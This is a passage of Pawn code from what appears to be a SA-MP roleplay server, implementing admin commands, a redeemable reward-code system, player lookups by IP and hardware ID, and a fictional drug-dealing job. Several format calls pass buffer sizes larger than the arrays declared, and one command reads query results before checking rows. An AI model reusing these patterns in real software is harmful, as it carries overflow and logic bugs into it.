		  if(!strlen(tmp))
	      {
		    SendMessage(playerid, COL_SYN, "Syntax: /resetdis <Playerid/PartOfName>");
		    return 1;
		  }
		  new tarafe;
		tarafe = ReturnUser6(tmp);
		if(PINFO[playerid][pAdmin] < PINFO[tarafe][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		if(PINFO[tarafe][pAdmin] == 0 && PINFO[tarafe][pHelper] == 0 && PINFO[tarafe][pLeader] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't in staff team.");
		PlayerInfo[tarafe][pStaffDays] = 0;
		SaveKonVal(tarafe, "pStaffDays", 0);
        new stringh[144];
        new admwarn[144];
        format(stringh, 144, "Your days in staff was reset by %s",PINFO[playerid][pName]);
        SendMessage(tarafe, COLOR_Good, stringh);
	    format(admwarn,144,"{FFFFFF}Admin %s has reset %s's days in staff", PINFO[playerid][pName], PINFO[tarafe][pName]);
	    AdminWarn(admwarn);
		return 1;
		}
		
		
		if(strcmp(cmd, "/resetref", true) == 0)
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PINFO[playerid][pAdmin] < 10) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
	      {
		    SendMessage(playerid, COL_SYN, "Syntax: /resetref <Playerid/PartOfName>");
		    return 1;
		  }
		  new tarafe;
		tarafe = ReturnUser6(tmp);
		if(PINFO[playerid][pAdmin] < PINFO[tarafe][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		if(PINFO[tarafe][pReferral] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: This player isn't using anyone referral.");
		new begirreferral = PlayerInfo[tarafe][pReferral];
		PlayerInfo[tarafe][pReferral] = 0;
		SaveKonVal(tarafe, "pReferral", 0);
        new stringh[144];
        new admwarn[144];
        format(stringh, 144, "You are no longer using referral %d by admin %s",begirreferral, PINFO[playerid][pName]);
        SendMessage(tarafe, COLOR_Good, stringh);
	    format(admwarn,144,"{FFFFFF}Admin %s has reset %s's referral (R#%d)", PINFO[playerid][pName], PINFO[tarafe][pName], begirreferral);
	    AdminWarn(admwarn);
		return 1;
		}
		
		
		
		if(strcmp(cmd, "/mapclick", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 7 && PlayerInfo[playerid][pSponser] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				if(MapClick[playerid] == 0)
				{
				    if(InSleep[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command when you're asleep.");
					MapClick[playerid] = 1;
					SCM(playerid, COLOR_SINA2, "MapClick: {00FF00}Enabled.");
				}
				else if(MapClick[playerid] == 1)
				{
					MapClick[playerid] = 0;
					SCM(playerid,COLOR_SINA2,"MapClick: {FF0000}Disabled.");
				}
			}
			return 1;
			}
	    if(strcmp(cmd, "/uptime", true) == 0)
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		new uptimes[144];
		//SCM(playerid, COLOR_SINARANG, "_____________________[Server Uptime]_____________________");
        format(uptimes, 144, "Server uptime: %02d:%02d:%02d:%02d", svday, svhour, svmin, svsec);
        SendMessage(playerid, COLOR_SINARANG, uptimes);
		//SCM(playerid, COLOR_SINARANG, "_________________________________________________________");
		return 1;
		}
		
		
		
		if(strcmp(cmd, "/anick", true) == 0)
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /anick <Playerid/PartOfName> <Admin Nickname>");
		new user = ReturnUser6(tmp);
		new niiick[144];
		new nick[144];
		if(PINFO[playerid][pAdmin] < PINFO[user][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
		if(PINFO[user][pAdmin] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't an admin.");
        new taraf = ReturnUser6(tmp);
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /anick <Playerid/PartOfName> <Admin Nickname>");
		if(strlen(tmp)<2||strlen(tmp)>29)return SCM(playerid,COLOR_YELLOW2,"Error: You can't change admin nickname with less than 2 characters or more than 29 characters.");
		strcpy(ANick[taraf],tmp,30);
		ANickDare[taraf] = 1;
        format(niiick, 144, "Your admin nickname was changed to %s by admin %s", tmp, PINFO[playerid][pName]);
        SendMessage(taraf, COLOR_LIGHTRED, niiick);
        format(nick, 144, "You have changed %s admin nickname to %s", PINFO[taraf][pName], tmp);
        SendMessage(playerid, COLOR_LIGHTRED, nick);
		return 1;
		}
		if(strcmp(cmd, "/ranick", true) == 0)
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(PINFO[playerid][pAdmin] < 12) return SCM(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
	      {
		    SendMessage(playerid, COL_SYN, "Syntax: /ranick <Playerid/PartOfName>");
		    return 1;
		  }
		  new tarafe;
		tarafe = ReturnUser6(tmp);
		if(!IsPlayerConnected(tarafe)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
		if(ANickDare[tarafe] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player hasn't any admin nickname to reset.");
		if(PINFO[playerid][pAdmin] < PINFO[tarafe][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
		if(PINFO[tarafe][pAdmin] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't an admin.");
		ANickDare[tarafe] = 0;
		ANick[tarafe] = ""
		new divi[144];
		new diviz[144];
        format(divi, 144, "You have reseted %s's admin nickname", PINFO[tarafe][pName]);
        SendMessage(playerid, COLOR_LIGHTRED, divi);
        format(diviz, 144, "Your admin nickname was reseted by admin %s", PINFO[playerid][pName]);
        SendMessage(tarafe, COLOR_LIGHTRED, diviz);
		return 1;
		}
		
		
		/*
		if(strcmp(cmd, "/mystatus", true) == 0)
		{
		if(HoolooBepparTooGaloo[playerid] == 85) return SCM(playerid, COLOR_YELLOW2, "Error: You can use this command few minutes later.");
		SCM(playerid, COLOR_LIGHTRED, "Processing your request...");
		SetTimerEx("StatsOBegoo", 2000, 0, "i", playerid);
		HoolooBepparTooGaloo[playerid] = 85;
		return 1;
		}
		*/
				if(strcmp(cmd, "/dcode", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 12) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /dcode <Code>");
			if(strlen(tmp) >= 25) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid code.");
			new realCode[40];
			new query[100];
            mysql_format(handle,query,sizeof(query),"SELECT * FROM `codes` WHERE BINARY codeCode='%e'", tmp);
            new Cache:result=mysql_query(handle,query);
            if(cache_num_rows()==0) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid code.");
            strcpy(realCode,tmp,40);
            new CodeIDe;
            new Used;
            CodeIDe = cache_get_field_content_int(0,"codeID");
            Used = cache_get_field_content_int(0,"codeUsed");
            if(Used == 1) return SCM(playerid,COLOR_YELLOW2,"Error: This code is already unavailable.");
            mysql_format(handle, query, 100, "UPDATE `codes` SET `codeUsed` = '1' WHERE `codeCode` = '%e'",realCode);
	    	mysql_tquery(handle, query, "SendQuery", "");
            new xsx[128];
	        format(xsx, sizeof(xsx), "{ffffff}Admin %s made #code%d unavailable",RPName(playerid), CodeIDe);
            AdminWarn(xsx);
            cache_delete(result);
			return 1;
			}
			
			
			
			
				if(strcmp(cmd, "/changecode", true) == 0)
		{
			if(PINFO[playerid][pAdmin] < 12) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changecode <Code> <New Code>");
			new query[300];
            mysql_format(handle,query,sizeof(query),"SELECT * FROM `codes` WHERE BINARY codeCode='%e'", tmp);
            new Cache:result=mysql_query(handle,query);
            if(strlen(tmp) >= 25) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid code.");
            new CodeIDe;
            CodeIDe = cache_get_field_content_int(0,"codeID");
            new OldCode[40];
            strcpy(OldCode,tmp,40);
            if(cache_num_rows()==0) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid code.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /changecode <Code> <New Code>");
			//new rows = cache_num_rows();
	        //if(rows > 1)return SCM(playerid,COLOR_YELLOW2,"Error: New code entered is exist in database.");
			if(strlen(tmp) >= 25) return SCM(playerid, COLOR_YELLOW2, "Error: New code couldn't be more than 24 characters.");
			if(strlen(tmp) < 4) return SCM(playerid, COLOR_YELLOW2, "Error: New code couldn't be less than 3 characters.");
			if(FindBadSign(tmp)) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid new code.");
			new thequery[100];
	        mysql_format(handle,thequery,sizeof(thequery),"SELECT * FROM `codes` WHERE codeCode='%e'",tmp);
	        new Cache:Result=mysql_query(handle,thequery);
	        if(cache_num_rows()>0)return SCM(playerid, COLOR_YELLOW2, "Error: New code is exist in database.");
	        cache_delete(Result);
			new NewCode[40];
			strcpy(NewCode,tmp,40);
			if(!strcmp(NewCode, OldCode, false)) return SCM(playerid, COLOR_YELLOW2, "Error: New code couldn't be same with old code.");
			mysql_format(handle, query, 300, "UPDATE `codes` SET `codeCode` = '%e' WHERE `codeCode` = '%e'",NewCode,OldCode);
		    mysql_tquery(handle, query, "SendQuery", "");
            new xsx[128];
	        format(xsx, sizeof(xsx), "{ffffff}Admin %s changed #code%d",RPName(playerid), CodeIDe);
            AdminWarn(xsx);
		    cache_delete(result);
			return 1;
			}
		
		if(strcmp(cmd, "/redeem", true) == 0)
		{
		if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		if(AttemptAlaf[playerid] >= 5) return SCM(playerid, COLOR_YELLOW2, "Error: You should wait.");
		tmp = strtok(cmdtext,idx);
		if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /redeem <Code>");
		new query[100];
        mysql_format(handle,query,sizeof(query),"SELECT * FROM `codes` WHERE BINARY codeCode='%e'", tmp);
        new Cache:result=mysql_query(handle,query);
        if(strlen(tmp) >= 25) return SCM(playerid, COLOR_YELLOW2, "Error: Invalid code.");
		if(cache_num_rows()==0) {
		AttemptAlaf[playerid] ++;
	    SCM(playerid, COLOR_YELLOW2, "Error: Invalid code.");
		if(AttemptAlaf[playerid] >= 5)
		{
		YabooAlafi[playerid] = SetTimerEx("YabooAlafZade", 10000, false, "i", playerid);
		}
	    return 1;
	    }
	    new UsedZ;
	    new PrizeGold;
	    new PrizeMoney;
	    new PrizeRespect;
	    new PrizeLevel;
	    new CodeIDe;
	    UsedZ = cache_get_field_content_int(0,"codeUsed");
        PrizeGold = cache_get_field_content_int(0,"codeGolds");
        PrizeMoney = cache_get_field_content_int(0,"codeMoney");
        PrizeLevel = cache_get_field_content_int(0,"codeLevel");
        PrizeRespect = cache_get_field_content_int(0,"codeRespect");
        CodeIDe = cache_get_field_content_int(0,"codeID");
	    if(UsedZ == 1) return SCM(playerid, COLOR_YELLOW2, "Error: This code was already used.");
		new InsertedCode[40];
		strcpy(InsertedCode,tmp,40);
		new aremanaz[144];
		new aremanazx[50];
		new aremanazxx[100];
		new aremanazxxx[144];
		new aremanazxxxx[144];
		format(aremanaz, 144, "You successfully redeemed code {ff6347}%s",InsertedCode);
		SendMessage(playerid, COLOR_YELLOW, aremanaz);
		if(PrizeGold != 0)
		{
		PlayerInfo[playerid][pGold] += PrizeGold;
		SaveKonVal(playerid, "pGold", PINFO[playerid][pGold]);
		format(aremanazx, 144, "Gold redeemed: %s",FormatNumber(PrizeGold));
		SendMessage(playerid, COLOR_YELLOW, aremanazx);
		}
		if(PrizeMoney != 0)
		{
		GivePlayerPool(playerid, PrizeMoney);
		format(aremanazxx, 100, "Money redeemed: $%s",FormatNumber(PrizeMoney));
		SendMessage(playerid, COLOR_YELLOW, aremanazxx);
		}
		if(PrizeLevel != 0)
		{
		PlayerInfo[playerid][pLevel] += PrizeLevel;
		SaveKonVal(playerid, "pLevel", PINFO[playerid][pLevel]);
		SetPlayerScore(playerid, PINFO[playerid][pLevel]);
		format(aremanazxxx, 144, "Level redeemed: %s",FormatNumber(PrizeLevel));
		SendMessage(playerid, COLOR_YELLOW, aremanazxxx);
		}
		if(PrizeRespect != 0)
		{
		PlayerInfo[playerid][pExp] += PrizeRespect;
		SaveKonVal(playerid, "pExp", PINFO[playerid][pExp]);
		format(aremanazxxxx, 144, "Respect redeemed: %s",FormatNumber(PrizeRespect));
		SendMessage(playerid, COLOR_YELLOW, aremanazxxxx);
		}
		
		new KeyOomad[60];
       new year,month,day,hour,minute,sec;
	   gettime(hour,minute,sec);
	   getdate(year,month,day);
	   new NaneJoon[60];
	   format(NaneJoon,60,"%s%d.%s%d.%s%d %s%d:%s%d",(year < 10) ? ("0") : (""),year,(month < 10) ? ("0") : (""),month,(day < 10) ? ("0") : (""),day,(hour < 10) ? ("0") : (""),hour,(minute < 10) ? ("0") : (""),minute);
	   strcpy(KeyOomad,NaneJoon,60);
		
		
		mysql_format(handle, query, 100, "UPDATE `codes` SET `codeUsed` = '1' WHERE `codeCode` = '%e'",InsertedCode);
		mysql_tquery(handle, query, "SendQuery", "");
		mysql_format(handle, query, 100, "UPDATE `codes` SET `codeUser` = '%e' WHERE `codeCode` = '%e'",PINFO[playerid][pName],InsertedCode);
		mysql_tquery(handle, query, "SendQuery", "");
		mysql_format(handle, query, 100, "UPDATE `codes` SET `codeUsedDate` = '%e' WHERE `codeCode` = '%e'",KeyOomad,InsertedCode);
		mysql_tquery(handle, query, "SendQuery", "");
		
		
		
       new xsx[128];
	  format(xsx, sizeof(xsx), "{ffffff}Player %s(%i) used #code%d (%s)",RPName(playerid), playerid, CodeIDe, InsertedCode);
      AdminWarn(xsx);
		
		
		cache_delete(result);
		return 1;
		}

		
		if(strcmp(cmd, "/detip", true) == 0)
		{
          if(PINFO[playerid][pAdmin] < 6) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
          if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
          if(PINFO[playerid][pAdmin] < 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
          if(PINFO[playerid][pAdmin] < 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		  if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	      new ipzs[150];
		  ipzs = strtokEx(cmdtext, idx);
		  if(!strlen(ipzs)) return SCM(playerid,COL_SYN,"Syntax: /detip <IP>");
		  new query[512];
          mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pIp='%e'", ipzs);
          new Cache:result=mysql_query(handle,query);
          if(cache_num_rows()==0) return SCM(playerid, COLOR_YELLOW2, "Error: No user is using this IP to connect.");
          new getname[30];
          new Counter = 0;
          new Send[50];
          new Senderx[40];
          new Senderz[144];
          format(Senderz, 144, "_________[{ffffff}Users with IP %s{0DC013}]_________",ipzs);
		  SendMessage(playerid, CRISTIAN, Senderz);
          for(new i=0;i<cache_num_rows();i++)
          {
          cache_get_field_content(i,"pName",getname,handle,sizeof(getname));
          format(Senderx, 40, "Name: %s",getname);
		  SendMessage(playerid, COLOR_SINARANG, Senderx);
          Counter++;
		  }
		  format(Send, 144, "Total users: %i.",Counter);
		  SendMessage(playerid, COLOR_YELLOW2, Send);
          cache_delete(result);
          return 1;
          }
		



		if(strcmp(cmd, "/dethwid", true) == 0)
		{
          if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
          if(PINFO[playerid][pAdmin] < 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
          if(PINFO[playerid][pAdmin] < 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
          if(PINFO[playerid][pAdmin] < 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
		  if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtokEx(cmdtext, idx);
		  if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /dethwid <HWID>");
		  new query[512];
          mysql_format(handle,query,sizeof(query),"SELECT * FROM `users` WHERE pHWID='%e'", tmp);
          new Cache:result=mysql_query(handle,query);
          if(cache_num_rows()==0) return SCM(playerid, COLOR_YELLOW2, "Error: There is no player matched that hwid.");
          new getname[30];
          new Counter = 0;
          new Send[50];
          new Senderx[40];
          new Senderz[144];
          format(Senderz, 144, "_________[{ffffff}Users with HWID %s{0DC013}]_________",tmp);
		  SendMessage(playerid, CRISTIAN, Senderz);
          for(new i=0;i<cache_num_rows();i++)
          {
          cache_get_field_content(i,"pName",getname,handle,sizeof(getname));
          format(Senderx, 40, "Name: %s",getname);
		  SendMessage(playerid, COLOR_SINARANG, Senderx);
          Counter++;
		  }
		  format(Send, 144, "Total users: %i.",Counter);
		  SendMessage(playerid, COLOR_YELLOW2, Send);
          cache_delete(result);
          return 1;
          }










		
		if(strcmp(cmd, "/checkcode", true) == 0)
		{
			if(PlayerInfo[playerid][pAdmin] >= 11)
			{
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: You are not authorized to use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /checkcode <CodeID>");
				new Code;
	            Code = strval(tmp);
	            //new length = strlen(cmdtext);
	            //if(length <= 0 || length >= 13) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid code.");
				if(Code <= 0) return SCM(playerid,COLOR_YELLOW2,"Error: Invalid code.");
				new query[512];
                //mysql_format(handle,query,sizeof(query),"SELECT `codeCode` FROM codes WHERE `codeID` = '%d'", Code);
                mysql_format(handle,query,sizeof(query),"SELECT * FROM `codes` WHERE codeID='%d'", Code);
                new Cache:result=mysql_query(handle,query);
                new codeesh[40];
                new Used;
                new Who[32];
				new WhoUsed[30];
				new CreatedDateZ[40];
				new UsedDate[40];
				new PrizeGold;
				new PrizeMoney;
				new PrizeLevel;
				new PrizeRespect;
                cache_get_field_content(0,"codeCode",codeesh,handle,sizeof(codeesh));
                cache_get_field_content(0,"codeCreatedBy",Who,handle,sizeof(Who));
                cache_get_field_content(0,"codeUser",WhoUsed,handle,sizeof(WhoUsed));
                cache_get_field_content(0,"codeCreatedDate",CreatedDateZ,handle,sizeof(CreatedDateZ));
                cache_get_field_content(0,"codeUsedDate",UsedDate,handle,sizeof(UsedDate));
                Used = cache_get_field_content_int(0,"codeUsed");
                PrizeGold = cache_get_field_content_int(0,"codeGolds");
                PrizeMoney = cache_get_field_content_int(0,"codeMoney");
                PrizeLevel = cache_get_field_content_int(0,"codeLevel");
                PrizeRespect = cache_get_field_content_int(0,"codeRespect");
                strcpy(TellMeTheCode[playerid],codeesh,40);
                strcpy(CreatedDate[playerid],CreatedDateZ,40);
                strcpy(UsedDateOrg[playerid],UsedDate,40);
                strcpy(WhoUsedIt[playerid],WhoUsed,28);
                strcpy(WhoCreatedCode[playerid],Who,30);
                UsedOrNot[playerid] = Used;
                CodeGold[playerid] = PrizeGold;
                CodeRespect[playerid] = PrizeRespect;
                CodeLevel[playerid] = PrizeLevel;
                CodeMoney[playerid] = PrizeMoney;
				CheckKonCode(playerid,Code);
				cache_delete(result);
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use this command.");
			}
			return 1;
		}
		
		
		
			if(strcmp(cmd, "/makercode", true) == 0)
	{
	 if(PlayerInfo[playerid][pAdmin] <= 11)
	 {
	  SCM(playerid,COLOR_SINA3,"Error: Your admin level isn't high enough to use this command.");
	 return 1;
	 }
	  if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
	 new Money;
	 new Level;
	 new Respect;
	  new Golds;
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /makercode <Money> <Level> <Respect> <Gold>");
	 return 1;
	 }
	 Money = strval(tmp);
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	 SCM(playerid,COL_SYN,"Syntax: /makercode <Money> <Level> <Respect> <Gold>");
	 return 1;
	 }
	 Level = strval(tmp);
	 tmp = strtok(cmdtext, idx);
	 if(!strlen(tmp))
	 {
	SCM(playerid,COL_SYN,"Syntax: /makercode <Money> <Level> <Respect> <Gold>");
	 return 1;
	 }
	Respect = strval(tmp);
	tmp = strtok(cmdtext, idx);
	if(!strlen(tmp))
	{
	SCM(playerid,COL_SYN,"Syntax: /makercode <Money> <Level> <Respect> <Gold>");
	 return 1;
	}
			Golds = strval(tmp);
			if(Golds < 0) return SCM(playerid, COLOR_YELLOW2, "Error: The gold can't be lower than zero.");
			if(Money < 0) return SCM(playerid, COLOR_YELLOW2, "Error: The money can't be lower than zero.");
			if(Level < 0) return SCM(playerid, COLOR_YELLOW2, "Error: The level can't be lower than zero.");
			if(Respect < 0) return SCM(playerid, COLOR_YELLOW2, "Error: The respect can't be lower than zero.");
			if(Respect == 0 && Golds == 0 && Money == 0 && Level == 0) return SCM(playerid, COLOR_YELLOW2, "Error: All of options couldn't be zero.");
            CodeInfo[codeID] = cache_insert_id(handle);
new KeyBood[60];
	   new year,month,day,hour,minute,sec;
	   gettime(hour,minute,sec);
	   getdate(year,month,day);
	   new NaneJoon[60];
	   format(NaneJoon,60,"%s%d.%s%d.%s%d %s%d:%s%d",(year < 10) ? ("0") : (""),year,(month < 10) ? ("0") : (""),month,(day < 10) ? ("0") : (""),day,(hour < 10) ? ("0") : (""),hour,(minute < 10) ? ("0") : (""),minute);
	   strcpy(KeyBood,NaneJoon,60);
		   new RandomString[16];
           for(new i = 0; i < sizeof(RandomString); i++)
           format( RandomString, sizeof( RandomString ), "%s%c", RandomString, RandomCode());
           strcpy(CodeCreated[playerid],RandomString,16);
			new useShode = 0;
			new userKiye[15];
			userKiye = "NOBODY YET"
			new UsedDateKey[20];
			UsedDateKey = "DID NOT USED YET"
			new query[512];
	        mysql_format(handle, query, 512, "INSERT INTO `codes` (codeCreatedBy,codeCode,codeID,codeUsed,codeUser,codeGolds,codeMoney,codeRespect,codeLevel,codeCreatedDate,codeUsedDate) VALUES ('%e','%e',%d,%d,'%e',%d,%d,%d,%d,'%e','%e')",
			PINFO[playerid][pName],CodeCreated[playerid],CodeInfo[codeID], useShode, userKiye, Golds, Money, Respect, Level, KeyBood, UsedDateKey);
	        strcpy(ThatAdmin,RPName(playerid),32);
	        new BongBezan = CodeInfo[codeID];
	        mysql_tquery(handle, query, "GetTheID", "i", BongBezan);
	        new wtf[144];
		    format(wtf, 144, "Created code: {ff6347}%s",CodeCreated[playerid]);
		    SendMessage(playerid, COLOR_YELLOW, wtf);
	        
			return 1;
	 }
		if(strcmp(cmd, "/pickupdrug", true) == 0)
		{
		if(IsACop(playerid)) return SCM(playerid,COLOR_YELLOW2,"Error: You are a cop.");
		if(PINFO[playerid][pJob] != 4) return SCM(playerid, COLOR_YELLOW2, "Error: You are not a Drugs Dealer.");
		if(OnCheckpoint[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: First cancel your current checkpoint.");
		if(AllowToPickupDrug[playerid] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: You couldn't pickup any drugs.");
		if(GetPlayerWantedLevel(playerid) >= 1) return SCM(playerid, COLOR_YELLOW2, "Error: You have wanted levels.");
		if(IsAtjail(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You are in jail.");
		if(!PTP(3.0, playerid, -1089.192260, -1626.326660, 76.367187)) return SCM(playerid, COLOR_YELLOW2, "Error: You must be close to drug cultivation.");
		LoopingAnim(playerid, "BOMBER", "BOM_Plant", 4.0, 0, 0, 0, 0, 0);
		DestroyDynamicObject(GolBekkar);
		new get[100];
		new text[30];
		new howmany = GramsIllicit[playerid];
	   	if(WhichSelected[playerid] == 1) text="Heroin";
	   	if(WhichSelected[playerid] == 2) text="Crack";
	   	if(WhichSelected[playerid] == 3) text="Weed";
	   	if(WhichSelected[playerid] == 4) text="LSD";
	   	if(WhichSelected[playerid] == 5) text="Optium";
		format(get, 100, "You picked up %s grams of your %s",FormatNumber(howmany), text);
		SendMessage(playerid, COLOR_SINARANG, get);
		Streamer_ToggleIdleUpdate(playerid, 0);
		new WLevel = GetPlayerWantedLevel(playerid);
        if(WhichSelected[playerid] == 1 && (howmany >= 1 && howmany < 100))
        {
		SCM(playerid, COLOR_SINARANG, "Your Heroin was too low to get wanted, so cops don't know yet you are transfering Heroin");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Heroin.");
        }
        if(WhichSelected[playerid] == 1 && (howmany >= 100 && howmany < 500))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "Cultivation Drugs",WLevel);
		SCM(playerid, COLOR_SINARANG, "You got wanted for transfering drugs.");
		new sendradio[144];
		format(sendradio, sizeof(sendradio), "[Dep-Warn]: {0069FF}%s suspicious for cultivation drugs.", PlayerInfo[playerid][pName]);
		SendFamilyMessage(1, COLOR_BLUE, sendradio);
		SendFamilyMessage(2, COLOR_BLUE, sendradio);
		SendFamilyMessage(3, COLOR_BLUE, sendradio);
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Heroin.");
		}
		if(GetRand == 2)
		{
		SCM(playerid, COLOR_SINARANG, "Good news! You didn't received any wanted levels.");
		new GetRandz = RandomShomare(1,3);
		if(GetRandz == 1)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 4000, false, "i", playerid);
		}
		if(GetRandz == 2)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 5000, false, "i", playerid);
		}
		if(GetRandz == 3)
		{
		SearchForBuyerTimer[playerid] = SetTimerEx("SearchingForABuyer", 6000, false, "i", playerid);
		}
		SCM(playerid, COLOR_LIGHTRED, "** Searching for a buyer for your Heroin.");
		}
        }
        if(WhichSelected[playerid] == 1 && (howmany >= 500 && howmany < 3000))
        {
        new GetRand = RandomShomare(1,2);
        if(GetRand == 1)
        {
        WLevel += 2;
		SetPlayerWantedLevel(playerid,WLevel);
        WantedKamKonTimerValid[playerid] = true;
        WantedTimerEZ[playerid] = 900;
        PlayerTextDrawShow(playerid, WantedTTD[playerid]);
